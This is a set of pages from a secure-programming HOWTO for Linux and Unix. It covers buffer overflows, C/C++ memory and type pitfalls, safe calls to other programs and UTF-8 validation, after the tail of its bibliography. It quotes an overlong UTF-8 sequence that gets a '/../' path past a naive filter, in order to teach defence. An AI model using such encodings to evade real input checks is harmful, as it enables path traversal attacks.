[Filipski 1986] Filipski, Alan and James Hanko. April 1986. ``Making Unix Secure.'' Byte (Magazine). Peterborough, NH: McGraw-Hill Inc. Vol. 11, No. 4. ISSN 0360-5280. pp. 113-128.

[Flake 2001] Flake, Havlar. Auditing Binaries for Security Vulnerabilities. http://www.blackhat.com/html/win-usa-01/win-usa-01-speakers.html.

[FOLDOC] Free On-Line Dictionary of Computing. http://foldoc.doc.ic.ac.uk/foldoc/index.html.

[Forristal 2001] Forristal, Jeff, and Greg Shipley. January 8, 2001. Vulnerability Assessment Scanners. Network Computing. http://www.nwc.com/1201/1201f1b1.html

[FreeBSD 1999] FreeBSD, Inc. 1999. ``Secure Programming Guidelines''. FreeBSD Security Information. http://www.freebsd.org/security/security.html

[FSF 1998] Free Software Foundation. December 17, 1999. Overview of the GNU Project. http://www.gnu.ai.mit.edu/gnu/gnu-history.html

[FSF 1999] Free Software Foundation. January 11, 1999. The GNU C Library Reference Manual. Edition 0.08 DRAFT, for Version 2.1 Beta of the GNU C Library. Available at, for example, http://www.netppl.fi/~pp/glibc21/libc_toc.html

Fu, Kevin, Emil Sit, Kendra Smith, and Nick Feamster. August 2001. ``Dos and Don'ts of Client Authentication on the Web''. Proceedings of the 10th USENIX Security Symposium, Washington, D.C., August 2001. http://cookies.lcs.mit.edu/pubs/webauth.html.

[Gabrilovich 2002] Gabrilovich, Evgeniy, and Alex Gontmakher. February 2002. ``Inside Risks: The Homograph Attack''. Communications of the ACM. Volume 45, Number 2. Page 128.

[Galvin 1998a] Galvin, Peter. April 1998. ``Designing Secure Software''. Sunworld. http://www.sunworld.com/swol-04-1998/swol-04-security.html.

[Galvin 1998b] Galvin, Peter. August 1998. ``The Unix Secure Programming FAQ''. Sunworld. http://www.sunworld.com/sunworldonline/swol-08-1998/swol-08-security.html

[Garfinkel 1996] Garfinkel, Simson and Gene Spafford. April 1996. Practical UNIX & Internet Security, 2nd Edition. ISBN 1-56592-148-8. Sebastopol, CA: O'Reilly & Associates, Inc. http://www.oreilly.com/catalog/puis

[Garfinkle 1997] Garfinkle, Simson. August 8, 1997. 21 Rules for Writing Secure CGI Programs. http://webreview.com/wr/pub/97/08/08/bookshelf

[Gay 2000] Gay, Warren W. October 2000. Advanced Unix Programming. Indianapolis, Indiana: Sams Publishing. ISBN 0-67231-990-X.

[Geodsoft 2001] Geodsoft. February 7, 2001. Hardening OpenBSD Internet Servers. http://www.geodsoft.com/howto/harden.

[Graham 1999] Graham, Jeff. May 4, 1999. Security-Audit's Frequently Asked Questions (FAQ). http://lsap.org/faq.txt

[Gong 1999] Gong, Li. June 1999. Inside Java 2 Platform Security. Reading, MA: Addison Wesley Longman, Inc. ISBN 0-201-31000-7.

[Gundavaram Unknown] Gundavaram, Shishir, and Tom Christiansen. Date Unknown. Perl CGI Programming FAQ. http://language.perl.com/CPAN/doc/FAQs/cgi/perl-cgi-faq.html

[Hall "Beej" 1999] Hall, Brian "Beej". Beej's Guide to Network Programming Using Internet Sockets. 13-Jan-1999. Version 1.5.5. http://www.ecst.csuchico.edu/~beej/guide/net

[ISO 12207] International Organization for Standardization (ISO). 1995. Information technology -- Software life cycle processes ISO/IEC 12207:1995.

[ISO 13335] International Organization for Standardization (ISO). ISO/IEC TR 13335. Guidelines for the Management of IT Security (GMITS). Note that this is a five-part technical report (not a standard); see also ISO/IEC 17799:2000. It includes:

  • ISO 13335-1: Concepts and Models for IT Security

  • ISO 13335-2: Managing and Planning IT Security

  • ISO 13335-3: Techniques for the Management of IT Security

  • ISO 13335-4: Selection of Safeguards

  • ISO 13335-5: Safeguards for External Connections

[ISO 17799] International Organization for Standardization (ISO). December 2000. Code of Practice for Information Security Management. ISO/IEC 17799:2000.

[ISO 9000] International Organization for Standardization (ISO). 2000. Quality management systems - Fundamentals and vocabulary. ISO 9000:2000. See http://www.iso.ch/iso/en/iso9000-14000/iso9000/selection_use/iso9000family.html

[ISO 9000] International Organization for Standardization (ISO). 2000. Quality management systems - Requirements ISO 9001:2000

[Jones 2000] Jones, Jennifer. October 30, 2000. ``Banking on Privacy''. InfoWorld, Volume 22, Issue 44. San Mateo, CA: International Data Group (IDG). pp. 1-12.

[Kelsey 1998] Kelsey, J., B. Schneier, D. Wagner, and C. Hall. March 1998. "Cryptanalytic Attacks on Pseudorandom Number Generators." Fast Software Encryption, Fifth International Workshop Proceedings (March 1998), Springer-Verlag, 1998, pp. 168-188. http://www.counterpane.com/pseudorandom_number.html.

[Kernighan 1988] Kernighan, Brian W., and Dennis M. Ritchie. 1988. The C Programming Language. Second Edition. Englewood Cliffs, NJ: Prentice-Hall. ISBN 0-13-110362-8.

[Kim 1996] Kim, Eugene Eric. 1996. CGI Developer's Guide. SAMS.net Publishing. ISBN: 1-57521-087-8 http://www.eekim.com/pubs/cgibook

[Kuchling 2000]. Kuchling, A.M. 2000. Restricted Execution HOWTO. http://www.python.org/doc/howto/rexec/rexec.html

[Kuhn 2002] Kuhn, Markus G. Optical Time-Domain Eavesdropping Risks of CRT displays. Proceedings of the 2002 IEEE Symposium on Security and Privacy, Oakland, CA, May 12-15, 2002. http://www.cl.cam.ac.uk/~mgk25/ieee02-optical.pdf

[LSD 2001] The Last Stage of Delirium. July 4, 2001. UNIX Assembly Codes Development for Vulnerabilities Illustration Purposes. http://lsd-pl.net/papers.html#assembly.

[McClure 1999] McClure, Stuart, Joel Scambray, and George Kurtz. 1999. Hacking Exposed: Network Security Secrets and Solutions. Berkeley, CA: Osbourne/McGraw-Hill. ISBN 0-07-212127-0.

[McKusick 1999] McKusick, Marshall Kirk. January 1999. ``Twenty Years of Berkeley Unix: From AT&T-Owned to Freely Redistributable.'' Open Sources: Voices from the Open Source Revolution. http://www.oreilly.com/catalog/opensources/book/kirkmck.html.

[McGraw 1999] McGraw, Gary, and Edward W. Felten. December 1998. Twelve Rules for developing more secure Java code. Javaworld. http://www.javaworld.com/javaworld/jw-12-1998/jw-12-securityrules.html.

[McGraw 1999] McGraw, Gary, and Edward W. Felten. January 25, 1999. Securing Java: Getting Down to Business with Mobile Code, 2nd Edition John Wiley & Sons. ISBN 047131952X. http://www.securingjava.com.

[McGraw 2000a] McGraw, Gary and John Viega. March 1, 2000. Make Your Software Behave: Learning the Basics of Buffer Overflows. http://www-4.ibm.com/software/developer/library/overflows/index.html.

[McGraw 2000b] McGraw, Gary and John Viega. April 18, 2000. Make Your Software Behave: Software strategies In the absence of hardware, you can devise a reasonably secure random number generator through software. http://www-106.ibm.com/developerworks/library/randomsoft/index.html?dwzone=security.

[Miller 1995] Miller, Barton P., David Koski, Cjin Pheow Lee, Vivekananda Maganty, Ravi Murthy, Ajitkumar Natarajan, and Jeff Steidl. 1995. Fuzz Revisited: A Re-examination of the Reliability of UNIX Utilities and Services. ftp://grilled.cs.wisc.edu/technical_papers/fuzz-revisited.pdf.

[Miller 1999] Miller, Todd C. and Theo de Raadt. ``strlcpy and strlcat -- Consistent, Safe, String Copy and Concatenation'' Proceedings of Usenix '99. http://www.usenix.org/events/usenix99/millert.html and http://www.usenix.org/events/usenix99/full_papers/millert/PACKING_LIST

[Mudge 1995] Mudge. October 20, 1995. How to write Buffer Overflows. l0pht advisories. http://www.l0pht.com/advisories/bufero.html.

[Murhammer 1998] Murhammer, Martin W., Orcun Atakan, Stefan Bretz, Larry R. Pugh, Kazunari Suzuki, and David H. Wood. October 1998. TCP/IP Tutorial and Technical Overview IBM International Technical Support Organization. http://www.redbooks.ibm.com/pubs/pdfs/redbooks/gg243376.pdf

[NCSA] NCSA Secure Programming Guidelines. http://www.ncsa.uiuc.edu/General/Grid/ACES/security/programming.

Neumann, Peter. 2000. "Robust Nonproprietary Software." Proceedings of the 2000 IEEE Symposium on Security and Privacy (the ``Oakland Conference''), May 14-17, 2000, Berkeley, CA. Los Alamitos, CA: IEEE Computer Society. pp.122-123.

National Security Agency (NSA). September 2000. Information Assurance Technical Framework (IATF). http://www.iatf.net.

[Open Group 1997] The Open Group. 1997. Single UNIX Specification, Version 2 (UNIX 98). http://www.opengroup.org/online-pubs?DOC=007908799.

[OSI 1999]. Open Source Initiative. 1999. The Open Source Definition. http://www.opensource.org/osd.html.

[Opplinger 1998] Oppliger, Rolf. 1998. Internet and Intranet Security. Norwood, MA: Artech House. ISBN 0-89006-829-1.

[Paulk 1993a] Mark C. Paulk, Bill Curtis, Mary Beth Chrissis, and Charles V. Weber. Capability Maturity Model for Software, Version 1.1. Software Engineering Institute, CMU/SEI-93-TR-24. DTIC Number ADA263403, February 1993. http://www.sei.cmu.edu/activities/cmm/obtain.cmm.html.

[Paulk 1993b] Mark C. Paulk, Charles V. Weber, Suzanne M. Garcia, Mary Beth Chrissis, and Marilyn W. Bush. Key Practices of the Capability Maturity Model, Version 1.1. Software Engineering Institute. CMU/SEI-93-TR-25, DTIC Number ADA263432, February 1993.

[Peteanu 2000] Peteanu, Razvan. July 18, 2000. Best Practices for Secure Web Development. http://members.home.net/razvan.peteanu

[Pfleeger 1997] Pfleeger, Charles P. 1997. Security in Computing. Upper Saddle River, NJ: Prentice-Hall PTR. ISBN 0-13-337486-6.

[Phillips 1995] Phillips, Paul. September 3, 1995. Safe CGI Programming. http://www.go2net.com/people/paulp/cgi-security/safe-cgi.txt

[Quintero 1999] Quintero, Federico Mena, Miguel de Icaza, and Morten Welinder GNOME Programming Guidelines http://developer.gnome.org/doc/guides/programming-guidelines/book1.html

[Raymond 1997] Raymond, Eric. 1997. The Cathedral and the Bazaar. http://www.tuxedo.org/~esr/writings/cathedral-bazaar

[Raymond 1998] Raymond, Eric. April 1998. Homesteading the Noosphere. http://www.tuxedo.org/~esr/writings/homesteading/homesteading.html

[Ranum 1998] Ranum, Marcus J. 1998. Security-critical coding for programmers - a C and UNIX-centric full-day tutorial. http://www.clark.net/pub/mjr/pubs/pdf/.

[RFC 822] August 13, 1982 Standard for the Format of ARPA Internet Text Messages. IETF RFC 822. http://www.ietf.org/rfc/rfc0822.txt.

[rfp 1999] rain.forest.puppy. 1999. ``Perl CGI problems''. Phrack Magazine. Issue 55, Article 07. http://www.phrack.com/search.phtml?view&article=p55-7 or http://www.insecure.org/news/P55-07.txt.

[Rijmen 2000] Rijmen, Vincent. "LinuxSecurity.com Speaks With AES Winner". http://www.linuxsecurity.com/feature_stories/interview-aes-3.html.

[Rochkind 1985]. Rochkind, Marc J. Advanced Unix Programming. Englewood Cliffs, NJ: Prentice-Hall, Inc. ISBN 0-13-011818-4.

[St. Laurent 2000] St. Laurent, Simon. February 2000. XTech 2000 Conference Reports. ``When XML Gets Ugly''. http://www.xml.com/pub/2000/02/xtech/megginson.html.

[Saltzer 1974] Saltzer, J. July 1974. ``Protection and the Control of Information Sharing in MULTICS''. Communications of the ACM. v17 n7. pp. 388-402.

[Saltzer 1975] Saltzer, J., and M. Schroeder. September 1975. ``The Protection of Information in Computing Systems''. Proceedings of the IEEE. v63 n9. pp. 1278-1308. http://www.mediacity.com/~norm/CapTheory/ProtInf. Summarized in [Pfleeger 1997, 286].

Schneider, Fred B. 2000. "Open Source in Security: Visting the Bizarre." Proceedings of the 2000 IEEE Symposium on Security and Privacy (the ``Oakland Conference''), May 14-17, 2000, Berkeley, CA. Los Alamitos, CA: IEEE Computer Society. pp.126-127.

[Schneier 1996] Schneier, Bruce. 1996. Applied Cryptography, Second Edition: Protocols, Algorithms, and Source Code in C. New York: John Wiley and Sons. ISBN 0-471-12845-7.

[Schneier 1998] Schneier, Bruce and Mudge. November 1998. Cryptanalysis of Microsoft's Point-to-Point Tunneling Protocol (PPTP) Proceedings of the 5th ACM Conference on Communications and Computer Security, ACM Press. http://www.counterpane.com/pptp.html.

[Schneier 1999] Schneier, Bruce. September 15, 1999. ``Open Source and Security''. Crypto-Gram. Counterpane Internet Security, Inc. http://www.counterpane.com/crypto-gram-9909.html

[Seifried 1999] Seifried, Kurt. October 9, 1999. Linux Administrator's Security Guide. http://www.securityportal.com/lasg.

[Seifried 2001] Seifried, Kurt. September 2, 2001. WWW Authentication http://www.seifried.org/security/www-auth/index.html.

[Shankland 2000] Shankland, Stephen. ``Linux poses increasing threat to Windows 2000''. CNET. http://news.cnet.com/news/0-1003-200-1549312.html

[Shostack 1999] Shostack, Adam. June 1, 1999. Security Code Review Guidelines. http://www.homeport.org/~adam/review.html.

[Sibert 1996] Sibert, W. Olin. Malicious Data and Computer Security. (NIST) NISSC '96. http://www.fish.com/security/maldata.html

[Sitaker 1999] Sitaker, Kragen. Feb 26, 1999. How to Find Security Holes http://www.pobox.com/~kragen/security-holes.html and http://www.dnaco.net/~kragen/security-holes.html

[SSE-CMM 1999] SSE-CMM Project. April 1999. Systems Security Engineering Capability Maturity Model (SSE CMM) Model Description Document. Version 2.0. http://www.sse-cmm.org

[Stallings 1996] Stallings, William. Practical Cryptography for Data Internetworks. Los Alamitos, CA: IEEE Computer Society Press. ISBN 0-8186-7140-8.

[Stein 1999]. Stein, Lincoln D. September 13, 1999. The World Wide Web Security FAQ. Version 2.0.1 http://www.w3.org/Security/Faq/www-security-faq.html

[Swan 2001] Swan, Daniel. January 6, 2001. comp.os.linux.security FAQ. Version 1.0. http://www.linuxsecurity.com/docs/colsfaq.html.

[Swanson 1996] Swanson, Marianne, and Barbara Guttman. September 1996. Generally Accepted Principles and Practices for Securing Information Technology Systems. NIST Computer Security Special Publication (SP) 800-14. http://csrc.nist.gov/publications/nistpubs/index.html.

[Thompson 1974] Thompson, K. and D.M. Richie. July 1974. ``The UNIX Time-Sharing System''. Communications of the ACM Vol. 17, No. 7. pp. 365-375.

[Torvalds 1999] Torvalds, Linus. February 1999. ``The Story of the Linux Kernel''. Open Sources: Voices from the Open Source Revolution. Edited by Chris Dibona, Mark Stone, and Sam Ockman. O'Reilly and Associates. ISBN 1565925823. http://www.oreilly.com/catalog/opensources/book/linus.html

[TruSecure 2001] TruSecure. August 2001. Open Source Security: A Look at the Security Benefits of Source Code Access. http://www.trusecure.com/html/tspub/whitepapers/open_source_security5.pdf

[Unknown] SETUID(7) http://www.homeport.org/~adam/setuid.7.html.

[Van Biesbrouck 1996] Van Biesbrouck, Michael. April 19, 1996. http://www.csclub.uwaterloo.ca/u/mlvanbie/cgisec.

[van Oorschot 1994] van Oorschot, P. and M. Wiener. November 1994. ``Parallel Collision Search with Applications to Hash Functions and Discrete Logarithms.'' Proceedings of ACM Conference on Computer and Communications Security.

[Venema 1996] Venema, Wietse. 1996. Murphy's law and computer security. http://www.fish.com/security/murphy.html

[Watters 1996] Watters, Arron, Guido van Rossum, James C. Ahlstrom. 1996. Internet Programming with Python. NY, NY: Henry Hold and Company, Inc.

[Witten 2001] September/October 2001. Witten, Brian, Carl Landwehr, and Michael Caloyannides. ``Does Open Source Improve System Security?'' IEEE Software. pp. 57-61. http://www.computer.org/software

[Wood 1985] Wood, Patrick H. and Stephen G. Kochan. 1985. Unix System Security. Indianapolis, Indiana: Hayden Books. ISBN 0-8104-6267-2.

[Wreski 1998] Wreski, Dave. August 22, 1998. Linux Security Administrator's Guide. Version 0.98. http://www.nic.com/~dave/SecurityAdminGuide/index.html

[Yoder 1998] Yoder, Joseph and Jeffrey Barcalow. 1998. Architectural Patterns for Enabling Application Security. PLoP '97 http://st-www.cs.uiuc.edu/~hanmer/PLoP-97/Proceedings/yoder.pdf

[Zalewski 2001] Zalewski, Michael. May 16-17, 2001. Delivering Signals for Fun and Profit: Understanding, exploiting and preventing signal-handling related vulnerabilities. Bindview Corporation. http://razor.bindview.com/publish/papers/signals.txt

[Zoebelein 1999] Zoebelein, Hans U. April 1999. The Internet Operating System Counter. http://www.leb.net/hzo/ioscount.

Prev | Home | Next
Conclusion |  | History


Avoid Buffer Overflow

Secure Programming for Linux and Unix HOWTO
Prev Next

Chapter 5. Avoid Buffer Overflow

An enemy will overrun the land; he will pull down your strongholds and plunder your fortresses.
Amos 3:11 (NIV)
Table of Contents
5.1. Dangers in C/C++
5.2. Library Solutions in C/C++
5.2.1. Standard C Library Solution
5.2.2. Static and Dynamically Allocated Buffers
5.2.3. strlcpy and strlcat
5.2.4. libmib
5.2.5. C++ std::string class
5.2.6. Libsafe
5.2.7. Other Libraries
5.3. Compilation Solutions in C/C++
5.4. Other Languages

An extremely common security flaw is vulnerability to a ``buffer overflow''. Buffer overflows are also called ``buffer overruns'', and there are many kinds of buffer overflow attacks (including ``stack smashing'' and ``heap smashing'' attacks). Technically, a buffer overflow is a problem with the program's internal implementation, but it's such a common and serious problem that I've placed this information in its own chapter. To give you an idea of how important this subject is, at the CERT, 9 of 13 advisories in 1998 and at least half of the 1999 advisories involved buffer overflows. An informal 1999 survey on Bugtraq found that approximately 2/3 of the respondents felt that buffer overflows were the leading cause of system security vulnerability (the remaining respondents identified ``mis-configuration'' as the leading cause) [Cowan 1999]. This is an old, well-known problem, yet it continues to resurface [McGraw 2000].

A buffer overflow occurs when you write a set of values (usually a string of characters) into a fixed length buffer and write at least one value outside that buffer's boundaries (usually past its end). A buffer overflow can occur when reading input from the user into a buffer, but it can also occur during other kinds of processing in a program.

If a secure program permits a buffer overflow, the overflow can often be exploited by an adversary. If the buffer is a local C variable, the overflow can be used to force the function to run code of an attackers' choosing. This specific variation is often called a ``stack smashing'' attack. A buffer in the heap isn't much better; attackers may be able to use such overflows to control other variables in the program. More details can be found from Aleph1 [1996], Mudge [1995], LSD [2001], or the Nathan P. Smith's "Stack Smashing Security Vulnerabilities" website at http://destroy.net/machines/security/.

Most high-level programming languages are essentially immune to this problem, either because they automatically resize arrays (e.g., Perl), or because they normally detect and prevent buffer overflows (e.g., Ada95). However, the C language provides no protection against such problems, and C++ can be easily used in ways to cause this problem too. Assembly language also provides no protection, and some languages that normally include such protection (e.g., Ada and Pascal) can have this protection disabled (for performance reasons). Even if most of your program is written in another language, many library routines are written in C or C++, as well as ``glue'' code to call them, so other languages often don't provide as complete a protection from buffer overflows as you'd like.

Prev | Home | Next
Limit Valid Input Time and Load Level |  | Dangers in C/C++


C/C++

Secure Programming for Linux and Unix HOWTO
Prev Chapter 9. Language-Specific Issues Next

9.1. C/C++

One of the biggest security problems with C and C++ programs is buffer overflow; see Chapter 5 for more information. C has the additional weakness of not supporting exceptions, which makes it easy to write programs that ignore critical error situations.

Another problem with C and C++ is that developers have to do their own memory management (e.g., using malloc(), alloc(), free(), new, and free), and failing to do it correctly may result in a security flaw. The more serious problem is that programs may erroneously free memory that should not be freed (or use the incorrect call if using C++ and mixing malloc() and new requests). This can cause an immediate crash on some systems in some cases, such as GNU/Linux systems, and in some cases may be exploitable by an attacker to cause arbitrary code to be executed. For example, on March 11, 2001, it was announced that the zlib library had this problem, affecting the many programs that use it. Thus, when testing programs on GNU/Linux, you should set the environment variable MALLOC_CHECK_ to 1 or 2, and you might consider executing your program with that environment variable set with 0, 1, 2. The reason for this variable is explained in GNU/Linux malloc(3) man page:

Recent versions of Linux libc (later than 5.4.23) and GNU libc (2.x) include a malloc implementation which is tunable via environment variables. When MALLOC_CHECK_ is set, a special (less efficient) implementation is used which is designed to be tolerant against simple errors, such as double calls of free() with the same argument, or overruns of a single byte (off-by-one bugs). Not all such errors can be proteced against, however, and memory leaks can result. If MALLOC_CHECK_ is set to 0, any detected heap corruption is silently ignored; if set to 1, a diagnostic is printed on stderr; if set to 2, abort() is called immediately. This can be useful because otherwise a crash may happen much later, and the true cause for the problem is then very hard to track down.

If unused memory is not free'd, (e.g., using free()), that unused memory may accumulate - and if enough unused memory can accumulate, the program may stop working. As a result, the unused memory may be exploitable by attackers to create a denial of service. It's theoretically possible for attackers to cause memory to be fragmented and cause a denial of service, but usually this is a fairly impractical and low-risk attack.

Be as strict as you reasonably can when you declare types. Where you can, use ``enum'' to define enumerated values (and not just a ``char'' or ``int'' with special values). This is particularly useful for values in switch statements, where the compiler can be used to determine if all legal values have been covered. Where it's appropriate, use ``unsigned'' types if the value can't be negative.

One complication in C and C++ is that the character type ``char'' can be signed or unsigned (depending on the compiler and machine). When a signed char with its high bit set is saved in an integer, the result will be a negative number; in some cases this can be exploitable. In general, use ``unsigned char'' instead of char or signed char for buffers, pointers, and casts when dealing with character data that may have values greater than 127 (0x7f).

C and C++ are by definition rather lax in their type-checking support, but you can at least increase their level of checking so that some mistakes can be detected automatically. Turn on as many compiler warnings as you can and change the code to cleanly compile with them, and strictly use ANSI prototypes in separate header (.h) files to ensure that all function calls use the correct types. For C or C++ compilations using gcc, use at least the following as compilation flags (which turn on a host of warning messages) and try to eliminate all warnings (note that -O2 is used since some warnings can only be detected by the data flow analysis performed at higher optimization levels):
gcc -Wall -Wpointer-arith -Wstrict-prototypes -O2
You might want ``-W -pedantic'' too.

Many C/C++ compilers can detect inaccurate format strings. For example, gcc can warn about inaccurate format strings for functions you create if you use its __attribute__() facility (a C extension) to mark such functions, and you can use that facility without making your code non-portable. Here is an example of what you'd put in your header (.h) file:
 /* in header.h */
 #ifndef __GNUC__
 #  define __attribute__(x) /*nothing*/
 #endif

 extern void logprintf(const char *format, ...)
    __attribute__((format(printf,1,2)));
 extern void logprintva(const char *format, va_list args)
    __attribute__((format(printf,1,0)));
The "format" attribute takes either "printf" or "scanf", and the numbers that follow are the parameter number of the format string and the first variadic parameter (respectively). The GNU docs talk about this well. Note that there are other __attribute__ facilities as well, such as "noreturn" and "const".

Avoid common errors made by C/C++ developers. For example, be careful about not using ``='' when you mean ``==''.

Prev | Home | Next
Language-Specific Issues | Up | Perl


Call Only Interfaces Intended for Programmers

Secure Programming for Linux and Unix HOWTO
Prev Chapter 7. Carefully Call Out to Other Resources Next

7.4. Call Only Interfaces Intended for Programmers

Call only application programming interfaces (APIs) that are intended for use by programs. Usually a program can invoke any other program, including those that are really designed for human interaction. However, it's usually unwise to invoke a program intended for human interaction in the same way a human would. The problem is that programs's human interfaces are intentionally rich in functionality and are often difficult to completely control. As discussed in Section 7.3, interactive programs often have ``escape'' codes, which might enable an attacker to perform undesirable functions. Also, interactive programs often try to intuit the ``most likely'' defaults; this may not be the default you were expecting, and an attacker may find a way to exploit this.

Examples of programs you shouldn't normally call directly include mail, mailx, ed, vi, and emacs. At the very least, don't call these without checking their input first.

Usually there are parameters to give you safer access to the program's functionality, or a different API or application that's intended for use by programs; use those instead. For example, instead of invoking a text editor to edit some text (such as ed, vi, or emacs), use sed where you can.

Prev | Home | Next
Handle Metacharacters | Up | Check All System Call Returns


Call Only Safe Library Routines

Secure Programming for Linux and Unix HOWTO
Prev Chapter 7. Carefully Call Out to Other Resources Next

7.1. Call Only Safe Library Routines

Sometimes there is a conflict between security and the development principles of abstraction (information hiding) and reuse. The problem is that some high-level library routines may or may not be implemented securely, and their specifications won't tell you. Even if a particular implementation is secure, it may not be possible to ensure that other versions of the routine will be safe, or that the same interface will be safe on other platforms.

In the end, if your application must be secure, you must sometimes re-implement your own versions of library routines. Basically, you have to re-implement routines if you can't be sure that the library routines will perform the necessary actions you require for security. Yes, in some cases the library's implementation should be fixed, but it's your users who will be hurt if you choose a library routine that is a security weakness. If can, try to use the high-level interfaces when you must re-implement something - that way, you can switch to the high-level interface on systems where its use is secure.

If you can, test to see if the routine is secure or not, and use it if it's secure - ideally you can perform this test as part of compilation or installation (e.g., as part of an ``autoconf'' script). For some conditions this kind of run-time testing is impractical, but for other conditions, this can eliminate many problems. If you don't want to bother to re-implement the library, at least test to make sure it's safe and halt installation if it isn't. That way, users will not accidentally install an insecure program and will know what the problem is.

Prev | Home | Next
Carefully Call Out to Other Resources | Up | Limit Call-outs to Valid Values


Carefully Call Out to Other Resources

Secure Programming for Linux and Unix HOWTO
Prev Next

Chapter 7. Carefully Call Out to Other Resources

Do not put your trust in princes, in mortal men, who cannot save.
Psalms 146:3 (NIV)
Table of Contents
7.1. Call Only Safe Library Routines
7.2. Limit Call-outs to Valid Values
7.3. Handle Metacharacters
7.4. Call Only Interfaces Intended for Programmers
7.5. Check All System Call Returns
7.6. Avoid Using vfork(2)
7.7. Counter Web Bugs When Retrieving Embedded Content
7.8. Hide Sensitive Information

Practically no program is truly self-contained; nearly all programs call out to other programs for resources, such as programs provided by the operating system, software libraries, and so on. Sometimes this calling out to other resources isn't obvious or involves a great deal of ``hidden'' infrastructure which must be depended on, e.g., the mechanisms to implement dynamic libraries. Clearly, you must be careful about what other resources your program trusts and you must make sure that the way you send requests to them.

Prev | Home | Next
Be Careful with Data Types |  | Call Only Safe Library Routines


Be Careful with Data Types

Secure Programming for Linux and Unix HOWTO
Prev Chapter 6. Structure Program Internals and Approach Next

6.17. Be Careful with Data Types

Be careful with the data types used, in particular those used in interfaces. For example, ``signed'' and ``unsigned'' values are treated differently in many languages (such as C or C++).

Prev | Home | Next
Foil Semantic Attacks | Up | Carefully Call Out to Other Resources


Character Encoding

Secure Programming for Linux and Unix HOWTO
Prev Chapter 4. Validate All Input Next

4.8. Character Encoding

4.8.1. Introduction to Character Encoding

For many years Americans have exchanged text using the ASCII character set; since essentially all U.S. systems support ASCII, this permits easy exchange of English text. Unfortunately, ASCII is completely inadequate in handling the characters of nearly all other languages. For many years different countries have adopted different techniques for exchanging text in different languages, making it difficult to exchange data in an increasingly interconnected world.

More recently, ISO has developed ISO 10646, the ``Universal Mulitple-Octet Coded Character Set (UCS). UCS is a coded character set which defines a single 31-bit value for each of all of the world's characters. The first 65536 characters of the UCS (which thus fit into 16 bits) are termed the ``Basic Multilingual Plane'' (BMP), and the BMP is intended to cover nearly all of today's spoken languages. The Unicode forum develops the Unicode standard, which concentrates on the UCS and adds some additional conventions to aid interoperability. Historically, Unicode and ISO 10646 were developed by competing groups, but thankfully they realized that they needed to work together and they now coordinate with each other.

If you're writing new software that handles internationalized characters, you should be using ISO 10646/Unicode as your basis for handling international characters. However, you may need to process older documents in various older (language-specific) character sets, in which case, you need to ensure that an untrusted user cannot control the setting of another document's character set (since this would significantly affect the document's interpretation).

4.8.2. Introduction to UTF-8

Most software is not designed to handle 16 bit or 32 bit characters, yet to create a universal character set more than 8 bits was required. Therefore, a special format called ``UTF-8'' was developed to encode these potentially international characters in a format more easily handled by existing programs and libraries. UTF-8 is defined, among other places, in IETF RFC 2279, so it's a well-defined standard that can be freely read and used. UTF-8 is a variable-width encoding; characters numbered 0 to 0x7f (127) encode to themselves as a single byte, while characters with larger values are encoded into 2 to 6 bytes of information (depending on their value). The encoding has been specially designed to have the following nice properties (this information is from the RFC and Linux utf-8 man page):

  • The classical US ASCII characters (0 to 0x7f) encode as themselves, so files and strings which contain only 7-bit ASCII characters have the same encoding under both ASCII and UTF-8. This is fabulous for backward compatibility with the many existing U.S. programs and data files.

  • All UCS characters beyond 0x7f are encoded as a multibyte sequence consisting only of bytes in the range 0x80 to 0xfd. This means that no ASCII byte can appear as part of another character. Many other encodings permit characters such as an embedded NIL, causing programs to fail.

  • It's easy to convert between UTF-8 and a 2-byte or 4-byte fixed-width representations of characters (these are called UCS-2 and UCS-4 respectively).

  • The lexicographic sorting order of UCS-4 strings is preserved, and the Boyer-Moore fast search algorithm can be used directly with UTF-8 data.

  • All possible 2^31 UCS codes can be encoded using UTF-8.

  • The first byte of a multibyte sequence which represents a single non-ASCII UCS character is always in the range 0xc0 to 0xfd and indicates how long this multibyte sequence is. All further bytes in a multibyte sequence are in the range 0x80 to 0xbf. This allows easy resynchronization; if a byte is missing, it's easy to skip forward to the ``next'' character, and it's always easy to skip forward and back to the ``next'' or ``preceding'' character.

In short, the UTF-8 transformation format is becoming a dominant method for exchanging international text information because it can support all of the world's languages, yet it is backward compatible with U.S. ASCII files as well as having other nice properties. For many purposes I recommend its use, particularly when storing data in a ``text'' file.

4.8.3. UTF-8 Security Issues

The reason to mention UTF-8 is that some byte sequences are not legal UTF-8, and this might be an exploitable security hole. UTF-8 encoders are supposed to use the ``shortest possible'' encoding, but naive decoders may accept encodings that are longer than necessary. Indeed, earlier standards permitted decoders to accept ``non-shortest form'' encodings. The problem here is that this means that potentially dangerous input could be represented multiple ways, and thus might defeat the security routines checking for dangerous inputs. The RFC describes the problem this way:

Implementers of UTF-8 need to consider the security aspects of how they handle illegal UTF-8 sequences. It is conceivable that in some circumstances an attacker would be able to exploit an incautious UTF-8 parser by sending it an octet sequence that is not permitted by the UTF-8 syntax.

A particularly subtle form of this attack could be carried out against a parser which performs security-critical validity checks against the UTF-8 encoded form of its input, but interprets certain illegal octet sequences as characters. For example, a parser might prohibit the NUL character when encoded as the single-octet sequence 00, but allow the illegal two-octet sequence C0 80 (illegal because it's longer than necessary) and interpret it as a NUL character (00). Another example might be a parser which prohibits the octet sequence 2F 2E 2E 2F ("/../"), yet permits the illegal octet sequence 2F C0 AE 2E 2F.

A longer discussion about this is available at Markus Kuhn's UTF-8 and Unicode FAQ for Unix/Linux at http://www.cl.cam.ac.uk/~mgk25/unicode.html.

4.8.4. UTF-8 Legal Values

Thus, when accepting UTF-8 input, you need to check if the input is valid UTF-8. Here is a list of all legal UTF-8 sequences; any character sequence not matching this table is not a legal UTF-8 sequence. In the following table, the first column shows the various character values being encoded into UTF-8. The second column shows how those characters are encoded as binary values; an ``x'' indicates where the data is placed (either a 0 or 1), though some values should not be allowed because they're not the shortest possible encoding. The last row shows the valid values each byte can have (in hexadecimal). Thus, a program should check that every character meets one of the patterns in the right-hand column. A ``-'' indicates a range of legal values (inclusive). Of course, just because a sequence is a legal UTF-8 sequence doesn't mean that you should accept it (you still need to do all your other checking), but generally you should check any UTF-8 data for UTF-8 legality before performing other checks.

Table 4-1. Legal UTF-8 Sequences

UCS Code (Hex) | Binary UTF-8 Format | Legal UTF-8 Values (Hex)
00-7F | 0xxxxxxx | 00-7F
80-7FF | 110xxxxx 10xxxxxx | C2-DF 80-BF
800-FFF | 1110xxxx 10xxxxxx 10xxxxxx | E0 A0*-BF 80-BF
